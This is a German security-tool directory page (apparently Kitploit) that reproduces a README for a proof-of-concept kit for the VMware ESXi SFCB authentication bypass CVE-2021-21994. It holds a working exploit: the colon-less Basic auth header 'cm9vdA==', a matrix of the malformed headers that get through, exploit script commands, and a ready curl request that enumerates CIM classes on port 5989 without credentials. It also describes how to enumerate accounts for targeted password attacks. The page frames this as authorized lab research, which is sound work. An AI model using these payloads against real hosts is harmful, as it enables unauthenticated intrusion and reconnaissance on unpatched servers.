Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2021-21994_POC — Validiert und exploitet die SFCB-Authentifizierungsumgehung von VMware ESXi (CVE-2021-21994) über eine Probe-/Fuzz-Harness und ermöglicht so unauthentifizierte CIM-XML-Enumeration. | Kitploit
Tools/GitHubGitHub/mreza-en/cve-2021-21994_poc
SchwachstellenanalyseExploitationInformationsbeschaffungFuzzingPenetrationstestsAuthentifizierung
GitHubmreza-en/cve-2021-21994_poc

cve-2021-21994_POC

Validiert und exploitet die SFCB-Authentifizierungsumgehung von VMware ESXi (CVE-2021-21994) über eine Probe-/Fuzz-Harness und ermöglicht so unauthentifizierte CIM-XML-Enumeration.

Repository anzeigen
6vor 25 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-21994 — VMware ESXi SFCB Authentifizierungs-Bypass — Labor-Forschungskit

FeldWert
TypCWE-287 Unsachgemäße Authentifizierung (Auth-Bypass)
KomponenteSFCB (Small Footprint CIM Broker) in VMware ESXi
AngriffsvektorNetzwerk, TCP 5989 (CIM-XML über HTTPS), „speziell gestaltete Anfrage"
BetroffenESXi 6.5 / 6.7 / 7.0 vor VMSA-2021-0014 (Juli 2021)
FixPatch-Builds von VMSA-2021-0014
Öffentlicher PoCKeiner. VMware hat die Anfrageform nie offengelegt

Referenzen: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

Da kein PoC existiert, ist dieses Kit ein Finde-es-selbst-Harness: sfcb_probe.py validiert ein Orakel (check) und wirft dann ein gezieltes Mutations-Wörterbuch auf /cimom (fuzz) und markiert jedes 200-mit-CIM-Body, das ohne gültige Anmeldedaten erhalten wurde.

Verwenden Sie dies nur gegen Ihre eigene Labor-VM oder Ziele, die sich ausdrücklich im Rahmen eines autorisierten Engagement-Bereichs befinden.

1. Labor-Setup (Ziel treffen: ESXi 6.5)

  1. Besorgen Sie ein ESXi-6.5-ISO (jeder Build vor Juli 2021 funktioniert; idealerweise dieselbe 6.5.0-Build-Klasse wie das Ziel):
    • Broadcom-Supportportal (kostenloses Konto) → VMware vSphere Hypervisor 6.5-Downloads
    • HPE / Dell „Custom ESXi 6.5 Image"-Downloads sind auf deren Support-Seiten öffentlich
  2. Verschachtelte VM in VMware Workstation/Fusion (oder KVM):
    • Aktivieren Sie „Virtualize Intel VT-x/EPT" auf der VM
    • 2 vCPU, 6 GB RAM, Thin Disk; E1000-NIC für den Installer
    • Installation im Evaluierungsmodus — kein Lizenzschlüssel für ein Labor erforderlich
  3. CIM-Broker und zugehörige Firewall-Regel aktivieren (DCUI → Fehlerbehebung → ESXi Shell/SSH aktivieren, dann per SSH):
    root@kitploit:~
    /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
    esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
    esxcli network firewall ruleset list | grep -i cim
    esxcli network ip connection list | grep 5989   # muss LISTEN sein
    
  4. Snapshot der VM (sauberer Zustand für erneute Tests).

2. Das Harness ausführen

root@kitploit:~
# zuerst das Orakel etablieren (benötigt ein echtes lokales ESXi-Konto, z. B. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# erwartet: no-auth -> 401, bogus -> 401, valid -> 200
# dann fuzzen (verwendet nur bogus/keine Anmeldedaten, niemals Ihre echten):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2b. ERKENNTNISSE (Labor + Ziel-ESXi 6.5, bestätigt am 2026-08-15)

Der Bypass wurde gefunden. Grundursache: sfcbd schlägt bei OPEN fehl, wenn das Basic-Auth-Token nicht in ein user:password-Paar mit : dekodiert wird.

Minimaler PoC-Header (base64 von root, ohne Doppelpunkt):

root@kitploit:~
Authorization: Basic cm9vdA==

Beweismatrix aus dem Fuzz-Lauf:

AnforderungsformStatusBedeutung
kein Header / gültiges user:pass-b64 / : / root:401Doppelpunkt vorhanden → Authentifizierung läuft → abgelehnt
b64("root") (kein Doppelpunkt)200 + CIM-Bodykein Doppelpunkt → Authentifizierung übersprungen
b64("\0:\0") (leerer C-String)200dasselbe: kein Doppelpunkt
ungültiges Base64 (Leerzeichen / BOM / Basic-Präfix)200Dekodierungsfehler → Authentifizierung übersprungen
Basic\tTOKEN (Tab als Trennzeichen)401Aufteilung nach beliebigem WSP funktioniert → Authentifizierung läuft
Basic␣␣TOKEN (doppeltes Leerzeichen)200Aufteilung nach einfachem Leerzeichen → Token beginnt mit Leerzeichen → Dekodierung schlägt fehl

Eine 200-Antwort trägt eine CIM-XML-Hülle, die innerhalb des CIMOM weitergeleitet wird (z. B. ERROR CODE="5" Class not found), was beweist, dass die HTTP-Authentifizierungsschicht passiert wurde — dieselbe Anfrage ohne den fehlerhaften Header gibt 401 zurück.

Exploit-Nutzung:

root@kitploit:~
python3 sfcb_exploit.py verify    192.168.x.x          # Orakel-Beweis, gibt VULNERABLE aus
python3 sfcb_exploit.py classes   192.168.x.x          # Klassennamen eines Namespace ausgeben
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

curl-Einzeiler für Berichts-Screenshots:

root@kitploit:~
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

Auswirkung: nicht authentifizierter Lesezugriff auf den CIM-Broker:

  • Kontenumeration: VMware_Identity-Instanzen legen alle lokalen ESXi-Konten offen (im Labor-6.5 beobachtet: root, dcui, vpxuser — vCenter-verwalteter Host — sowie benutzerdefinierte Benutzer), was gezielte Passwortangriffe ermöglicht.
  • Vollständige Host-/Hardware-Inventarisierung über die 436 zugänglichen Klassen (Computersystem, Prozessoren, Speicher, Storage/Datastores, Netzwerk-Endpunkte, Firmware-/BIOS-Versionen, Sensoren, installierte Software-Identität).
  • Kein Schreibpfad: Die RBAC-Dienste (VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) deklarieren DMTF-Profilmethoden (AssignRoles, AssignAccess, ...), legen aber keine Instanzen offen — die Methoden sind nur Schema. Kontenerstellung/-änderung über CIM ist mit dieser CVE nicht möglich; die Auswirkungsobergrenze ist nicht authentifizierte Informationsoffenlegung.

Bewertungen:

  • BYPASS-STRONG — HTTP 200 + CIM-XML-Body ohne gültige Anmeldedaten → Sie haben den Bypass gefunden; die gedumpte Anfrage ist Ihre Exploit-Primitive.
  • bypass-weak(200-no-cim-body) — 200, aber kein CIM-Body; Dump prüfen.
  • blocked / info(400) — abgelehnt. Hinweis: Ein 400 bedeutet normalerweise, dass die Anfrage vor der Auswertung der Authentifizierung gescheitert ist — immer noch interessant, nur kein Bypass.

Hinweis zu handgefertigten CIM-Bodys: Gemäß DSP0200 erfordert EnumerateInstanceNames den ClassName-IPARAMVALUE. Ein Body ohne diesen kann aus Gründen abgelehnt werden, die nichts mit der Authentifizierung zu tun haben, und das Orakel verfälschen — das Harness sendet immer den spezifikationskonformen Body.

3. Fahrplan, falls das Wörterbuch nichts findet

Der Fuzzer deckt die klassischen HTTP-Auth-Parser-Verwirrungsformen ab. Falls keine zuschlägt, ist der verbleibende (und endgültige) Weg Binärdiffing:

  1. Ziehen Sie das esx-base-VIB für einen verwundbaren Build (z. B. 6.5.0-GA-Klasse) und einen mit VMSA-2021-0014 gepatchten 6.5/6.7/7.0-Build aus dem öffentlichen VMware-Depot-Index: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
  2. Extrahieren Sie beide VIBs (es sind ar-Archive → vib-Payload → cpio) und diffen Sie die sfcbd*-Binärdateien mit Ghidra + BinDiff.
  3. Fokussieren Sie auf HTTP-Header-Parsing / Basic-Auth-Dekodierung / Auth-Provider-Dispatch. Das Upstream-Open-Source-SFCB (SBLIM sfcb auf SourceForge) ist eine nützliche strukturelle Referenz für den HTTP+Auth-Codepfad, auch wenn der ESXi-Fork modifiziert ist.
  4. Setzen Sie den korrigierten Codepfad in die exakte konstruierte Anfrage um, fügen Sie sie dem Harness hinzu und verifizieren Sie sie auf der Labor-VM — das ist der echte Exploit.

4. Operative Hinweise für den Bericht

  • Allein das Orakel (nicht authentifiziert → 401) ist bereits ein nützlicher Befund für Härtung: 5989 sollte niemals aus dem Internet erreichbar sein.
  • Falls bestätigt, Behebung: VMSA-2021-0014+-Patches anwenden (ESXi 6.5 ist EOL — Migration wird empfohlen) oder 5989 per Firewall sperren.
Tool herunterladen